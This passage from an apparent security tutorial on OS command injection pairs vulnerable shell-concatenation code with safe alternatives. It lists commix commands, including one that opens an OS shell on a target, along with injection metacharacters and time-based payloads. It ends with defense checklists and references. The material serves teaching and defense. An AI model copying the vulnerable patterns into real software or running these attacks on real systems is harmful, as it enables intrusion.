subprocess.run(['wkhtmltopdf', url, 'output.pdf'])
# Even safer: use a PDF library like WeasyPrint or Puppeteer
2. Video/Audio Processing
# VULNERABLE
os.system(f"ffmpeg -i {input_file} {output_file}")
# SAFE
subprocess.run(['ffmpeg', '-i', input_file, output_file])
3. Git Operations
// VULNERABLE
exec(`git clone ${repoUrl} ${directory}`);
// SAFE
execFile('git', ['clone', repoUrl, directory]);
// Even safer: use a Git library like nodegit or simple-git
4. Archive Extraction
# VULNERABLE
os.system(f"unzip {filename} -d /tmp/extracted")
# SAFE
import zipfile
with zipfile.ZipFile(filename, 'r') as zip_ref:
zip_ref.extractall('/tmp/extracted')
5. System Monitoring
# VULNERABLE
os.system(f"ps aux | grep {process_name}")
# SAFE
import psutil
for proc in psutil.process_iter(['name']):
if process_name in proc.info['name']:
print(proc)
Testing Tools and Methodology
Commix (Command Injection Exploiter)
The go-to automated tool for command injection testing:
# Basic scan
commix --url="http://target.com/page?param=INJECT_HERE"
# POST request
commix --url="http://target.com/api" --data="host=INJECT_HERE" --method=POST
# With authentication
commix --url="http://target.com/page?param=INJECT_HERE" --cookie="session=abc123"
# Specific techniques
commix --url="http://target.com/page?param=INJECT_HERE" --technique=T # Time-based only
# OS shell
commix --url="http://target.com/page?param=INJECT_HERE" --os-shell
Burp Suite Testing
- Capture request in Proxy
- Send to Repeater
- Replace parameter values with injection payloads
-
Test each metacharacter:
;,|,&&,||,`,$() - Monitor response times for blind injection
- Use Burp Collaborator for out-of-band detection
- Use Intruder for automated payload fuzzing
Manual Checklist
- Identify all parameters that could reach OS commands
-
Test each with basic separators (
;,|,&&) -
Try time-based payloads (
sleep 5,timeout /t 5) - Test URL-encoded versions of metacharacters
-
Try newline injection (
%0a) -
Test argument injection (add
--flagvalues) - Check error messages for command output leakage
- Verify if output is reflected (direct vs. blind)
- Test both Linux and Windows payloads
- Document and report findings with proof of concept
Defense Checklist
- Eliminate shell command usage wherever possible (use libraries instead)
- Use safe APIs with argument lists (subprocess.run with list, execFile, ProcessBuilder)
- NEVER use shell=True, exec(), system(), backticks with user input
- Validate all user inputs with whitelist regex patterns
- Reject invalid input instead of trying to sanitize it
- Use escapeshellarg()/escapeshellcmd() as last resort (PHP)
- Run applications as non-root/least-privilege users
- Deploy in containers with read-only filesystems
- Implement WAF rules blocking shell metacharacters
- Monitor for unexpected outbound network connections
- Set up system call monitoring (Falco, auditd)
- Regular SAST scans for dangerous function usage
- DAST testing with commix and Burp Suite
- Code review all shell command invocations
- Apply network segmentation and firewall rules
- Keep OS, libraries, and frameworks patched
- Implement logging for all command executions
- Use AppArmor/SELinux to restrict process capabilities
Final Thoughts
Command Injection is arguably the most dangerous web vulnerability there is. While SQL Injection limits you to database operations, Command Injection gives attackers the full power of the operating system. They can read files, install malware, pivot to other systems, exfiltrate data, or burn everything to the ground. And the root cause is almost always the same: developers concatenating user input into shell commands.
The fix is conceptually simple: don't use shell commands with user input. Use language-native libraries instead. When you absolutely must call external commands, use safe APIs that pass arguments as lists, not strings. Validate inputs with whitelists, run applications with minimum privileges, and monitor for suspicious activity.
Shellshock showed us that even the shell itself can be vulnerable. ImageTragick showed us that file processing can trigger injection. The Equifax breach showed us that the consequences of ignoring these vulnerabilities can reach 147 million people and cost $700 million.
Don't be the developer who shells out to ping because it's "easier." The five minutes you save today could cost your company everything tomorrow. Use the safe alternatives, validate your inputs, and sleep well at night knowing your server isn't someone else's terminal.
Stay secure, avoid shells like the plague, and remember: if you're constructing a command string with user input, you're doing it wrong.
Recommended Next Steps
- Set up vulnerable labs: DVWA, WebGoat, Commix Testbed, HackTheBox machines
- Practice with CTF challenges focusing on command injection
-
Audit your codebase for
os.system(),exec(),shell_exec(), and similar calls - Replace all shell commands with library alternatives where possible
- Run commix against your staging environment
- Read CVE reports for command injection vulnerabilities in popular frameworks
- Implement container security with minimal privileges
- Set up runtime monitoring with Falco or similar tools
- Make "no shell commands with user input" a code review rule
- Get certified: OSCP, OSWE, or CEH for hands-on exploitation skills
References
- OWASP. (2021). Injection - OWASP Top 10:2021. https://owasp.org/Top10/A03_2021-Injection/
- OWASP Command Injection. https://owasp.org/www-community/attacks/Command_Injection
- OWASP OS Command Injection Defense Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
- PortSwigger Web Security Academy – OS Command Injection. https://portswigger.net/web-security/os-command-injection
- MITRE CWE-78: Improper Neutralization of Special Elements used in an OS Command. https://cwe.mitre.org/data/definitions/78.html
- CVE-2014-6271 (Shellshock). https://nvd.nist.gov/vuln/detail/CVE-2014-6271
- CVE-2017-5638 (Apache Struts). https://nvd.nist.gov/vuln/detail/CVE-2017-5638
- CVE-2016-3714 (ImageTragick). https://imagetragick.com/
- Commix – Automated Command Injection Tool. https://github.com/commixproject/commix
- NIST Special Publication 800-53 – Security Controls. https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final
- Docker Security Best Practices. https://docs.docker.com/develop/security-best-practices/
- Falco Runtime Security. https://falco.org/